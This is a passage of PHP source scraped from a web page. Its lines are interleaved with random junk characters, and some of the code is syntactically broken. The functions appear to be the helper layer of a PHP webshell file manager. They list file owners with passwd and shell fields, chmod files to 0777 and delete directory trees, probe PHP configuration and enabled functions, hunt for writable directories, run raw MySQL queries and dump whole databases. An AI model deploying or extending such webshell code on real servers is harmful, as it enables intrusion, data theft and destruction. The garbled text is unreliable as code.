8 ]! F; a6 Y3 g4 f - if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
, n3 ^7 T1 b+ i6 w - if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
. m0 ~$ Z; f8 d" k( s - if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
+ ?/ b5 g+ ]1 o$ z - 4 U8 n& h. r7 G# o
- return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];& Z% z2 }& e; }9 m( \
- }3 u4 a7 s0 Q7 J
- " N7 e; J4 m; k! u0 J5 @* i8 t
- function getUser($filepath) {. T0 r* y$ ?9 Y2 d; Y' A( E# g
- if (function_exists('posix_getpwuid')) {) {& e( V# `/ M$ n( U- f
- $array = @posix_getpwuid(@fileowner($filepath));3 Y6 H% d" D9 r4 G/ E
- if ($array && is_array($array)) {8 P2 j! G) f! y1 Z2 Y, r3 z
- return ' / <a href="#" title="User: '.$array['name'].'4 I( b9 i+ W. B
- Passwd: '.$array['passwd'].'. f8 F1 y8 p2 Q/ p+ ~5 G: ^' j3 H
- Uid: '.$array['uid'].'
: F- C7 I7 h: J6 v, g' { C1 U - gid: '.$array['gid'].'
9 J6 ~! f8 t! t, E# ? - Gecos: '.$array['gecos'].'+ g; r/ ^' y# Q% k" X( B! O
- Dir: '.$array['dir'].'
6 v4 a- y6 |. y2 M# V# e1 [ - Shell: '.$array['shell'].'">'.$array['name'].'</a>';/ s) o4 y4 h2 d5 V V
- }) U7 {6 y k: \& M7 ]# l
- }
1 \0 H8 }6 x' g& o - return '';
9 B5 |* n1 T3 E- G5 u* G4 y - }
4 y8 y1 H* ?8 M+ H0 F2 z8 |2 W - - ?3 J( s( V0 P$ q' j) @4 `
- // 删除目录 x0 {( C' a* Z& F' C# y
- function deltree($deldir) {% N5 y( h) |0 c9 P1 v
- $mydir=@dir($deldir); " ]$ H8 K6 ^/ e4 T8 K z
- while($file=$mydir->read()) {
- y6 z! E6 w) L; S- c3 x9 b0 j6 p" h - if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
4 {! t8 n8 A" \* `! W+ N# T, E# i - @chmod($deldir.'/'.$file,0777);0 D3 Y: V. g/ \8 _* J) s* b0 r, Y
- deltree($deldir.'/'.$file); % w) P/ j7 L# J- ]6 e* ?$ M
- }% A! G3 [# P1 C; C
- if (is_file($deldir.'/'.$file)) {! i8 m7 g0 ^: C8 w3 _7 S9 [
- @chmod($deldir.'/'.$file,0777);
. X3 A9 n) }4 ^1 z% w7 n6 y2 \/ X; i - @unlink($deldir.'/'.$file);
: Z5 C, d4 {2 G - }; L: ]' P; I% c1 d9 u; c& U
- }
; S, {2 E2 L( G3 U5 D& t. Y9 Q1 N: P - $mydir->close(); % {$ C/ E) Q( J. b6 ^
- @chmod($deldir,0777);" `! Q4 u$ A& |+ } q
- return @rmdir($deldir) ? 1 : 0;" \6 K# N$ C b/ H
- }
3 {; Q$ { U, X1 E" } -
7 g% [3 x/ G. |5 N/ ]) x - // 表格行间的背景色替换! I& n k3 M# { u+ a
- function bg() {/ U2 L0 f0 ~! v4 p) [
- global $bgc;0 L1 b6 g: W0 L( r# }) R, v( t4 E$ l
- return ($bgc++%2==0) ? 'alt1' : 'alt2';
0 V0 f; f: Z6 a1 [5 S: E! i - }
/ u2 t Q2 f \& X( o -
# |& `0 p, i" ?. x) O - // 获取当前的文件系统路径' x: {8 B% d8 W4 F. }- n9 r
- function getPath($scriptpath, $nowpath) {
" Y" d0 r& z# B1 D- } - if ($nowpath == '.') {8 n. f. R2 Y# K; W8 y6 C, J
- $nowpath = $scriptpath;: u* ^$ G4 c+ }! n& M/ \
- }
! F1 i% q4 E- v! v - $nowpath = str_replace('\\', '/', $nowpath);' |- p% \1 S8 I3 l2 M- }7 r% l+ ?
- $nowpath = str_replace('//', '/', $nowpath);' P8 e( q: V+ e
- if (substr($nowpath, -1) != '/') {
" Q7 T6 Y; d9 f; n" }6 c5 C4 d - $nowpath = $nowpath.'/';8 V9 q. X( `% d* c" |) @
- }
. N" h. E0 B) N1 K7 _# X - return $nowpath;: Z1 H! X% I: ?, N
- }
, a5 h$ Q o6 @( B -
& G" A; o0 c+ r; r - // 获取当前目录的上级目录
( W& s8 D% l$ d0 R* _* e2 D - function getUpPath($nowpath) {
- J1 ]& Y# g6 o8 V - $pathdb = explode('/', $nowpath);( l8 C. E. K. F0 _+ e- Q
- $num = count($pathdb);; z% \! P x2 @6 q9 J9 K
- if ($num > 2) {
' b% K) O. f) P - unset($pathdb[$num-1],$pathdb[$num-2]);1 ^6 p8 w' u! K6 r8 ^8 `, \! J* Q
- }
7 @* l9 z6 r' E! q0 E2 w( K! Q' W; ~ - $uppath = implode('/', $pathdb).'/';
" j3 U. Z0 X" J" A - $uppath = str_replace('//', '/', $uppath);8 z, ?" {+ u1 o, F/ V" H: M
- return $uppath;5 u/ F, b5 F. y! k$ r# B2 y5 S
- }
8 a* c/ N& Z4 G/ T - . E. h+ U0 [% K2 s, w C1 ~3 ?
- // 检查PHP配置参数
3 U" g5 W* V7 f - function getcfg($varname) {- Q4 S9 |) k4 f$ M* J
- $result = get_cfg_var($varname);
. L8 o; C: b2 |1 V5 X' q V( S - if ($result == 0) {
# O8 N( g( h Z+ g% {1 T/ h8 E - return 'No';
% U6 s1 P6 a }' t5 P; E - } elseif ($result == 1) {
5 t9 h ]$ ~# G1 L - return 'Yes';, u8 y; x7 B/ _0 F
- } else {
1 l+ O: {6 ~; P0 \5 ?0 ~- Q. v - return $result;: R8 }8 h; t0 c6 _3 {/ z( E9 T
- }
; H* w6 f6 n3 Y# S - }
" P; H) g# J7 ?, X! \* V" ? - 9 a& R0 Y A5 h/ T
- // 检查函数情况" t. ?2 A9 f( j) |" }8 l6 I9 ~
- function getfun($funName) {
, l& Q. a/ M0 w - return (false !== function_exists($funName)) ? 'Yes' : 'No';
0 i5 P% \, ]4 R* @% ^ - }
$ `* z+ n8 G1 z. A8 M1 G -
/ B7 @6 e# Z6 k3 ^; [8 Z0 p - function GetList($dir){& Q6 B, x: e- x. s1 J. z* X
- global $dirdata,$j,$nowpath;5 p( h2 T* R) s1 V Z* d) D# a
- !$j && $j=1;: v- l/ u z+ q# _% p
- if ($dh = opendir($dir)) {& ]( ?) P0 @" O) i5 d. _% h# k
- while ($file = readdir($dh)) {7 ~% N9 z6 K3 ~' a& e
- $f=str_replace('//','/',$dir.'/'.$file);
$ G5 w! Q) i& A% [+ `2 Z; Y - if($file!='.' && $file!='..' && is_dir($f)){5 j: H# N6 p1 f: `$ u
- if (is_writable($f)) {$ }: S9 d- k3 k& y# D- q8 Q
- $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
3 v8 r: i. Y( J* ?* U% f - $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
) T m2 `7 c! g( x9 L6 D - $dirdata[$j]['dirchmod']=getChmod($f);
" C5 y3 _/ k- [% R, D4 m - $dirdata[$j]['dirperm']=getPerms($f);
9 ?0 |8 R$ d7 \4 {1 b: j/ c - $dirdata[$j]['dirlink']=ue($dir);
Z9 `/ q0 ]( @ - $dirdata[$j]['server_link']=$f;3 |8 b" q& U1 d) g9 l
- $dirdata[$j]['client_link']=ue($f);
6 f0 c; d/ A6 _- o' { - $j++;8 p+ {% h" @ f g; n) j
- }
" h; f8 S5 y# C7 w/ X) O7 M - GetList($f);5 [7 L2 D5 { G* @! n* g5 D
- }. d# L- q, @2 F! t& n( c1 }
- }
/ o" J( T3 p! B9 {4 w1 a! a! X2 i - closedir($dh);
; o: X. v* r, v0 ]0 L3 o6 b1 S9 g) f - clearstatcache();
8 _: O. q/ e0 w& w - return $dirdata;0 V' o) G# U& n% @3 l! U- b
- } else {/ X! I) m2 S7 s! n0 B
- return array();
" H& }1 N+ \& {# q# G - }
' U/ D8 d$ C9 ?5 Z# P - }
. t- L1 m6 P" S+ R2 p -
$ Y) R& F$ F+ N% } c2 |. m - function qy($sql) {
0 Z( ~7 Z- L Q7 N/ k - //echo $sql.'<br>';
! ~5 `! G! T- {9 }# Y0 s& B - $res = $error = '';
: C: r$ I9 Y; P+ l- h - if(!$res = @mysql_query($sql)) { . q9 x4 ~% b* Q" p4 j
- return 0;% K* \) V6 T1 M" N; g. R
- } else if(is_resource($res)) {% m* p, P' Z; B
- return 1; " U7 g0 [# [, U. |
- } else {- ^4 V1 h4 H1 | Q$ j' L, p
- return 2;
) g3 d1 C R# n! d3 L8 g- P - } 1 t# S1 l+ q- B7 H
- return 0;* p( U* H( P3 C/ G9 J. `/ Y
- }% A3 }% z6 b% \0 }$ a& z( A4 g
-
+ A- O7 p8 M. f/ M/ z - function q($sql) {
6 y! _. D6 V2 e1 u - return @mysql_query($sql);) e5 o/ ?) E- z' H& c' \
- }$ [) _& J) t& s4 g) S, T! ~8 q/ o
- 3 i8 Z9 `) {) k: A" P& N
- function fr($qy){4 T* U/ h7 i- b
- mysql_free_result($qy);$ E4 l" T) S$ Y5 K; I1 k
- }: x: x2 I1 d1 R! _7 c+ }
- ; k- R! f' W- m+ k' c
- function sizecount($size) {
1 r( ]) t9 e( y+ n" D2 E( T2 x8 Q - if($size > 1073741824) {: o) I, H# o: {' O% E' u3 S- f
- $size = round($size / 1073741824 * 100) / 100 . ' G';. Z2 j- V" M6 ~5 g( s
- } elseif($size > 1048576) {
t" w' o5 R5 Z; n" E - $size = round($size / 1048576 * 100) / 100 . ' M';8 z+ b5 |) v7 g8 a
- } elseif($size > 1024) {9 p# M: [" L: ?% @. M# K
- $size = round($size / 1024 * 100) / 100 . ' K';! V s5 N' h! ^" P8 N
- } else {
$ R6 Y( o* ]! f4 P3 O, i$ U- ^- f - $size = $size . ' B';1 g( x. p5 e0 {. p, G
- }( _. _. t3 {/ p2 u/ I; r
- return $size;) {# ~. F1 X& ^ R( i i
- }$ ?/ a- A) A2 B
- 2 q1 Q. P' L. B. i" t$ o
- // 压缩打包类
: D; O4 h( t# Z& d/ p% j2 P' E - class PHPZip{1 q4 p4 U& f2 G. M/ a
- var $out='';" U& E1 [4 d7 A; v. l& S) ^
- function PHPZip($dir) {7 `0 L+ g8 y+ `% J$ W% P2 f9 e
- if (@function_exists('gzcompress')) {
$ D9 O& A; U- j, }, r6 i - $curdir = getcwd();4 L6 i- @6 g( R$ d
- if (is_array($dir)) $filelist = $dir;
$ P& ^0 M3 n6 x4 D: p1 y8 k - else{9 l7 r% Q$ H3 u( m8 V+ \1 h
- $filelist=$this -> GetFileList($dir);//文件列表9 @/ ^" C8 |! F% E' R; u$ \+ Z/ W
- foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);) X. Q9 g S$ K5 q/ v/ x" B
- }
+ ^& M2 ^7 F! Q" u' l1 j. J$ G - if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);4 x2 y, F' q @$ G) m
- else chdir($curdir);) i* p# U. X6 j* }# P) y! q
- if (count($filelist)>0){
+ P5 {& d4 _ s# T# _0 n7 _3 a - foreach($filelist as $filename){6 d* I( m7 T+ J$ b5 ^7 v
- if (is_file($filename)){5 ~3 z- J2 K& k% X
- $fd = fopen ($filename, 'r');
$ a. J* h; r4 h) [9 O6 q - $content = @fread ($fd, filesize($filename));! F) d; c. N) A$ }
- fclose ($fd);2 A7 T: m9 t. a7 v- C
- if (is_array($dir)) $filename = basename($filename);- H- ^- }* E+ `7 K2 P% C5 Q% V5 U
- $this -> addFile($content, $filename);
1 T! N8 o0 o7 c) D+ I1 D - }/ [; W4 ?0 E! [1 \8 _
- }$ s, x/ m* R2 H7 S! D+ ?' x
- $this->out = $this -> file();! r6 P3 b e/ a! @; s9 ]8 C/ q
- chdir($curdir);
9 w6 X _/ e/ B# k: N - }; N3 {* R, p E/ C/ x7 A
- return 1;
1 n6 j/ J. z# O) [9 O- q - }
: L+ J9 S" z! w, w) Y# W - else return 0;3 T& U. l1 d- J3 z) ^' S
- }
5 @' {7 P0 n$ B4 R/ e - . d7 |9 M; v2 k" L; U
- // 获得指定目录文件列表
$ p$ z8 S, p+ c. v/ X( o5 Z$ G - function GetFileList($dir){9 o& Z. d; q$ v+ O2 r6 A7 K; X+ y
- static $a;
8 G4 n, G. Z) }- @0 }# L - if (is_dir($dir)) {' u/ v! u& {. k' U
- if ($dh = opendir($dir)) {
l$ \4 Z+ x0 F' l: F: }4 _5 y5 G - while ($file = readdir($dh)) {2 F' `, I3 ~: [' n1 _5 y" c3 }
- if($file!='.' && $file!='..'){
' b+ t6 | e; I- N0 r9 q - $f=$dir .'/'. $file;/ B z1 R- I7 Q3 _9 L
- if(is_dir($f)) $this->GetFileList($f);
8 g( o3 I0 v9 G4 M& Y/ f - $a[]=$f;) T1 f6 K1 F/ O0 H! h( N# ^
- }* O( \, e) R/ D1 J. U
- }, P o5 r _5 `+ o
- closedir($dh);
0 j5 C$ Q- }1 b0 m; I9 b - }8 C3 z1 m2 H/ d% H% i3 \+ F8 c
- }
" D- S; V: q# `# l8 ^ - return $a;
3 d* W$ ]: n$ R- A2 z - }
8 e$ m0 l1 f' Q - : g4 U: r5 K4 [* x8 L% @
- var $datasec = array();
0 N8 d) ?5 \4 l - var $ctrl_dir = array();
! s0 c1 M- h: w, \; _0 R7 X$ n - var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
% Y0 D' p* U# h: m0 G/ t* ^: _ - var $old_offset = 0;
9 ?% ^! B% o7 |5 X - 1 K$ }* N. ^) ~
- function unix2DosTime($unixtime = 0) {
" f" o: n7 \& y. `. W - $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
' Y! O8 ^2 G. D" k4 d7 G: P - if ($timearray['year'] < 1980) {2 Y# Y% h7 ?1 y" u- q
- $timearray['year'] = 1980;
1 z' x3 z- p) Q' t) [4 z - $timearray['mon'] = 1;
: w" z% K( }8 {! J( E8 | - $timearray['mday'] = 1;
7 t2 n" z6 X: s8 y O* d* n2 ] - $timearray['hours'] = 0;( T8 Z3 [1 x& I+ {4 ~
- $timearray['minutes'] = 0;
6 Q0 F8 h' O7 @7 Z5 c - $timearray['seconds'] = 0;
* k6 V- F" `- e6 ]3 ~ i$ c - } // end if
6 u- W, m% K8 M - return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |4 f6 @, {: c l$ a- ]) v
- ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
) {# w7 }) w+ a; a+ B5 q/ D - }
6 X4 s" ^0 A' C W; M - function addFile($data, $name, $time = 0) {+ z3 R' `0 Q& J) ~% U% ^7 w2 d
- $name = str_replace('\\', '/', $name);
1 q+ T, a0 F2 Z3 c - $dtime = dechex($this->unix2DosTime($time));
( _$ B0 M+ p9 O8 E - $hexdtime = '\x' . $dtime[6] . $dtime[7]; O3 i" p. }( k
- . '\x' . $dtime[4] . $dtime[5]+ U2 ^8 ^/ y( f, o. ^$ o8 c+ e x
- . '\x' . $dtime[2] . $dtime[3]; t' @+ x) r/ r& ~
- . '\x' . $dtime[0] . $dtime[1];
s y/ R6 U# `* `3 a - eval('$hexdtime = "' . $hexdtime . '";');
; e: |' N5 i) N4 g0 d - $fr = "\x50\x4b\x03\x04";; S7 j* C" {: _& Q) h
- $fr .= "\x14\x00";. z0 x- D5 J0 g2 S
- $fr .= "\x00\x00";7 z' N& C O) `0 v2 p1 ^. ~3 h
- $fr .= "\x08\x00";
/ Q6 [: A! X D- l Y1 k+ I4 k - $fr .= $hexdtime;
% A4 e# v& l: R% ]5 s) |% ] - $unc_len = strlen($data);
# }! ^* K. J; W9 N" i# ^; r: t+ a - $crc = crc32($data);$ G! v- M$ V E
- $zdata = gzcompress($data);6 E4 D; J: A, P
- $c_len = strlen($zdata);$ ]0 q8 S( {/ `* O3 h0 |& j
- $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);! j h& b% p6 {% M" l9 C, `* R
- $fr .= pack('V', $crc);
+ o' u& P4 _4 D% v - $fr .= pack('V', $c_len);% V2 @4 c$ o f0 `+ X! \* }' N
- $fr .= pack('V', $unc_len);8 p! M& `% v- s* s: P
- $fr .= pack('v', strlen($name));( D/ @$ e2 Y+ r- J. s# p6 s2 E
- $fr .= pack('v', 0);
- r, a0 k a" ~0 D& \ - $fr .= $name;
0 F" W+ _6 W$ l" P' p1 U, z& v - $fr .= $zdata;, D o7 O, ~% P* U
- $fr .= pack('V', $crc);0 T* F2 K" j: I% f! [& u/ T, `9 |
- $fr .= pack('V', $c_len);8 n3 A5 T) i5 F+ z
- $fr .= pack('V', $unc_len);
2 R5 I4 o5 M! x8 |; a - $this -> datasec[] = $fr;: W6 ? z0 E( T4 X2 [
- $new_offset = strlen(implode('', $this->datasec));
5 I0 ]* }3 c9 h. Q - $cdrec = "\x50\x4b\x01\x02"; E" g1 l- r# V' f' x* G/ @3 A( |, e
- $cdrec .= "\x00\x00";$ M; T: m2 f. N6 Q' u9 Y, r5 R* f8 F/ r
- $cdrec .= "\x14\x00";! r O- X4 f% ~7 i
- $cdrec .= "\x00\x00";
; {& }! m+ C8 w - $cdrec .= "\x08\x00"; B- ~! }0 w' m& b$ \- |
- $cdrec .= $hexdtime;5 S+ Z7 q6 e0 R- l
- $cdrec .= pack('V', $crc);5 I( j% P$ O% X3 i/ X, {7 m
- $cdrec .= pack('V', $c_len);
4 H- M/ q c3 M; u - $cdrec .= pack('V', $unc_len);
1 Q+ @0 p" p* Q* w! x - $cdrec .= pack('v', strlen($name) );
( j* o/ h# T% y: `! ]$ z. x - $cdrec .= pack('v', 0 );4 X$ u4 V( t5 a* L# u$ Q6 r
- $cdrec .= pack('v', 0 );
. ]3 X$ s l2 S# M - $cdrec .= pack('v', 0 );
0 i5 s1 e% S$ b( T - $cdrec .= pack('v', 0 );$ f8 Q: x3 Y) r; p( a3 r4 V
- $cdrec .= pack('V', 32 );" ]" Z4 S/ \. n
- $cdrec .= pack('V', $this -> old_offset );
3 t% s5 P$ d/ n% w1 ?- y4 x- m - $this -> old_offset = $new_offset;
: F; V1 ^4 V) G: _$ ?: _' ?3 o. _ - $cdrec .= $name;
/ E! a' c4 u; K+ ~+ V: J& U - $this -> ctrl_dir[] = $cdrec;
, Q. e9 P# e! q) y. l - }
8 U0 t$ A. {+ d+ |0 C' k! y3 O) Z - function file() {: t! L( K2 E! Q1 c7 ^1 R5 z
- $data = implode('', $this -> datasec);
/ y- t k8 C. _; ]: J/ B" N4 i - $ctrldir = implode('', $this -> ctrl_dir);
, d8 H# [, F" \ - return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";* t3 T2 l5 `- R; x
- }
m3 @6 b1 e$ D! J) K! W) Q% k; z) o1 Z - }
# ?- o6 l3 I1 M7 @* S - // 备份数据库
& c) T% p/ W G7 S" d - function sqldumptable($table, $fp=0) {/ j5 L. V" i- d5 W8 J, x
- $tabledump = "DROP TABLE IF EXISTS $table;\n";. f. y; H" L M' @! p
- $tabledump .= "CREATE TABLE $table (\n";8 [' C7 U3 S3 e0 e) k. \& H
- $firstfield=1;: t) E: A+ C! `7 \7 r9 I
- $fields = q("SHOW FIELDS FROM $table");
6 ?2 p( i! F- h. P% z9 g - while ($field = mysql_fetch_array($fields)) {- w* _6 b! o8 ]6 I |1 H8 ]
- if (!$firstfield) {4 c9 c3 W$ [1 }' `
- $tabledump .= ",\n";
, B0 V% E2 p# C( _ E' U7 [6 p5 U - } else {
' l/ Y1 A" M+ z, H - $firstfield=0;
* l$ W& f& z {7 E - }
+ z7 z. a# b3 P/ N/ t - $tabledump .= " $field[Field] $field[Type]";# ^3 x6 j# ?) H% y; l
- if (!empty($field["Default"])) {
' l# L( P3 ]8 ?% | - $tabledump .= " DEFAULT '$field[Default]'";3 \* {3 R. E. G
- }
- k/ m6 |; m! r! E) L - if ($field['Null'] != "YES") {% w6 W- V: ^' y8 m2 l( S
- $tabledump .= " NOT NULL";
- ^ j; U) p1 ~' f - }2 p# a) ]. Y! k( L+ Q, o! B
- if ($field['Extra'] != "") {( g) C: c3 Z7 h G) q: }/ ]+ W- R, f
- $tabledump .= " $field[Extra]";0 X% O# C. ?. p' O. y- @$ v; r
- }
6 Q3 c4 M& ~& n# ^3 G - }
+ w- \6 _& z4 n3 Q& N - fr($fields);5 n! j5 R/ a* l# _5 y8 l8 a; U/ Y
- $keys = q("SHOW KEYS FROM $table");8 o. }4 f3 ^) V( z. L% k; P
- while ($key = mysql_fetch_array($keys)) {
4 f' o$ R( T0 Z - $kname=$key['Key_name'];6 h7 p7 x- n8 R
- if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
5 l3 K: {1 L( R- ] - $kname="UNIQUE|$kname";
. X2 e& d8 c- x8 Y! A; S5 ?. R0 U6 r - }3 g1 _1 U( ~' k: I; o# k9 ^
- if(!is_array($index[$kname])) {
6 t( `' J! I: y4 _4 y( L - $index[$kname] = array();
! }6 D3 p1 m& B5 D - }
: W0 O9 B* v r% e1 U! {0 H: \. _ g7 R - $index[$kname][] = $key['Column_name'];# z2 {. D% \, }! Y5 v0 {# e
- }- u+ z7 a& @1 O8 J4 a9 H7 C
- fr($keys);
4 n5 y+ i# }/ i) u6 T - while(list($kname, $columns) = @each($index)) {
3 c+ A2 k' i5 Z# u9 c/ e - $tabledump .= ",\n";, Z2 f' Z& R; {1 y5 b
- $colnames=implode($columns,","); ^, a5 _% ~2 Z
- if ($kname == "PRIMARY") {
% Z F9 a: b& |7 m6 u* ` - $tabledump .= " PRIMARY KEY ($colnames)";$ \& ]+ K7 E0 d0 Y" m& r
- } else {
; S" P& p) O0 J) o& p - if (substr($kname,0,6) == "UNIQUE") {1 p) Z/ |* Y$ u& {/ q5 j
- $kname=substr($kname,7);
3 h0 s3 F3 y4 p3 K) O/ I - }2 G. R1 T1 a( G) z3 W) y3 M/ ~# x2 ]
- $tabledump .= " KEY $kname ($colnames)";
# |! T# H: J9 f) L. _( K: O3 v - }! S/ N+ N# G( y$ {- e' |
- }
+ t) m: X. L* J ~& }8 N - $tabledump .= "\n);\n\n"; w- h! A8 S) c, I" u9 h! _3 n
- if ($fp) {& T7 D8 i; g2 m7 k: f m
- fwrite($fp,$tabledump);1 J7 [: @2 e" f6 E) V+ J
- } else {) V+ @6 K. z. N% M0 x& z3 }6 F( b
- echo $tabledump;
# G: c+ K) Y6 h: M - }
1 z+ `, ~5 `+ s- S0 d) g8 E2 h - $rows = q("SELECT * FROM $table");
4 m% S; m5 A3 R7 e( b - $numfields = mysql_num_fields($rows);- G' o1 }$ N9 J/ u& `- A _$ S
- while ($row = mysql_fetch_array($rows)) {8 K8 D2 b4 f, }, U! H- i, N
- $tabledump = "INSERT INTO $table VALUES(";
- j! L( Q+ K& B) }& X. L - $fieldcounter=-1;
- P/ ~# e3 e6 c" p/ } - $firstfield=1;) M1 ?& s* ^" n0 T% J1 O) x5 }
- while (++$fieldcounter<$numfields) {3 ~. O. M0 D% o# A9 S" K, n1 V
- if (!$firstfield) {- i9 H* n* b) v8 e& u
- $tabledump.=", ";: b) i' l# j0 k
- } else {/ C5 q7 m3 Z. l( e, }, b7 c+ i$ I |# ^$ p
- $firstfield=0;
) g: D, `, \6 g) f/ k+ O7 { - }
k. y. i R( K2 g" W5 U' G+ _ - if (!isset($row[$fieldcounter])) {" u+ h1 ]/ a( ]) O \
- $tabledump .= "NULL";3 Q. K3 V: v8 h+ R# D# k, J
- } else {
* o" c* {) ~, X, K* W" t% o$ h - $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
# @, e8 E$ Y% y; A - }: J0 l. l2 g! L, T, _8 Y& g
- }
! M Y7 f: O/ o7 f Z* w - $tabledump .= ");\n";
9 D6 S* t8 {7 O) n - if ($fp) {, ?* b( U$ W1 V+ y) b* f7 E* q
- fwrite($fp,$tabledump);
# N! I, D7 H6 ^ - } else {
9 F" O, y5 ]0 L - echo $tabledump;& v+ U( K" d6 U! p
- }* m8 e% q& U- u9 D
- }" O& c* e4 G( ]: ?; e% k6 D5 s
- fr($rows);9 Z) x L3 {! @% J7 s
- if ($fp) {1 L5 h& Y& p$ c1 e% T% ] l
- fwrite($fp,"\n");1 j3 S) ^/ Z$ A3 T
- } else {
+ ]1 x' h" q5 O3 n2 c - echo "\n";5 X* @9 D$ d1 H( C6 U
- }5 R% I; ^6 ]* ?) C' U# p! X
- }
" i7 u- f' J8 ]8 P# P8 y+ W Y - function ue($str){& y1 {9 `3 [' i
- return urlencode($str);
9 I) S- j4 w# ] - }
) i' N+ E- T1 p. a6 g - function p($str){- c5 h) l6 T6 U* f' l
- echo $str."\n";- O' l" C+ [4 Y6 J4 E- o5 S* H4 J
- }* s1 k. U9 w- _: ?8 u6 F
- function tbhead() {
$ n$ w7 A, V9 _# F - p('<table width="100%" border="0" cellpadding="4" cellspacing="0">'); k y' u& B; q4 j5 k
- }. O1 {* G, ~. p3 N% _+ j2 Q
- function tbfoot(){
3 s/ O9 t4 ^, u3 N8 E+ t - p('</table>');. a9 R: p; u; D" ^
- }
' w! o* m1 ]8 {3 g, ?3 v0 P! m - function makehide($name,$value=''){
P. f3 P+ k% S9 i% q" G1 o& J8 K3 ^ - p("<input id="$name" type="hidden" name="$name" value="$value" />");
0 }4 ~6 V: Q- z - }! C' M* @7 k; n( S' V0 |% w
- function makeinput($arg = array()){
/ N P# F- n* _6 W/ h - $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";& v8 }) p2 h9 Q# e# w! a& j
- $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
$ X& d5 U0 d, e% D( X3 @5 v* Z - !$arg['type'] && $arg['type'] = 'text';2 W. N9 J0 C; |1 [ i% d' P8 e T
- $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';2 J4 H* d# r! q
- $arg['class'] = $arg['class'] ? $arg['class'] : 'input';- f1 Z/ Y2 O" R5 r& y
- if ($arg['newline']) {. n+ J! W9 Q' f2 S5 ^
- p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
+ d7 G0 C6 h: U5 E - } else {6 |7 x- ]3 `. g& f5 A
- p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");/ n/ M) _9 S* X- X4 s+ B' \
- }
$ W. S4 Q, M, t' l$ m0 Q% H8 K, A) { - }; t1 T! W; L3 T) b" W% ~2 p( N
- function makeselect($arg = array()){, l& x: K' T* J. d5 }( F
- if ($arg['onchange']) {
* l3 V* [: Q, G5 f( R. ? - $onchange = 'onchange="'.$arg['onchange'].'"';9 j. t4 I' D% P4 A$ M! h1 R
- }
1 e1 V* G9 s2 o+ q. M2 [$ @' o8 E9 N - $arg['title'] = $arg['title'] ? $arg['title'] : '';
/ F7 I' i' B! {$ h' h x - if ($arg['newline']) p('<p>');
0 t6 l: y- @% V! v - p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");2 N1 a/ y( d' D
- if (is_array($arg['option'])) {
; q( }; ~9 V5 S; J* {7 ^! y# y - foreach ($arg['option'] as $key=>$value) {& D- }/ U, J" R7 V" Z+ M
- if ($arg['selected']==$key) {! N) E3 x$ y6 `+ q) u! `2 k* ~0 K" |
- p("<option value="$key" selected>$value</option>");1 n7 q/ P% C ] F6 l/ O
- } else {
( v. Y9 c. f0 C, _, V" O( z - p("<option value="$key">$value</option>");
R V* f& V: s9 K" |" `# J - }' O5 F% s J6 c. i- N2 j# N
- }
0 v7 j( L2 ?& |# b. s - }
' q! \8 `3 \; `' P# W C - p("</select>");
1 q" l. D$ o! B9 A' T - if ($arg['newline']) p('</p>');) F& ^, \! b. A+ J
- }1 \' a9 e/ |& b9 Z* z+ x- V
- function formhead($arg = array()) {8 |3 v/ ^: W/ v1 @+ `, E1 j
- !$arg['method'] && $arg['method'] = 'post';" H' @7 V0 N; I* c6 S4 h' R
- !$arg['action'] && $arg['action'] = $self;1 @- k; E9 H% r9 |0 [3 k T
- $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';: U- B$ J. y1 g% B( K
- !$arg['name'] && $arg['name'] = 'form1';6 ]1 t( h, O) e' k4 z5 P" I
- p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
9 `# g% c, R: R0 Y' s - if ($arg['title']) {
+ Z" y3 g+ }7 U8 X/ W! t - p('<h2>'.$arg['title'].' »</h2>');& Z- ]* ~' k, ]$ c
- }
$ E, }: R8 Q+ Q$ { - }
: H. K2 @2 y7 q% g -
, s% j1 P) K0 W. ^, { - function maketext($arg = array()){
& H9 r. F) {4 v! A* A# ~2 Y - !$arg['cols'] && $arg['cols'] = 100;
: l/ o p8 v0 z2 [ - !$arg['rows'] && $arg['rows'] = 25;
- T5 A- K6 c1 U6 R c# z' x - $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';) s: g1 J) G5 j$ D, }( {4 t
- p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");) @, p \: p$ r: w+ L* R0 x# R
- }
5 t/ V7 |7 L& q3 ` - Y3 X5 ]+ e- R1 X
- function formfooter($name = ''){
% g2 d- y; P3 [. l - !$name && $name = 'submit';
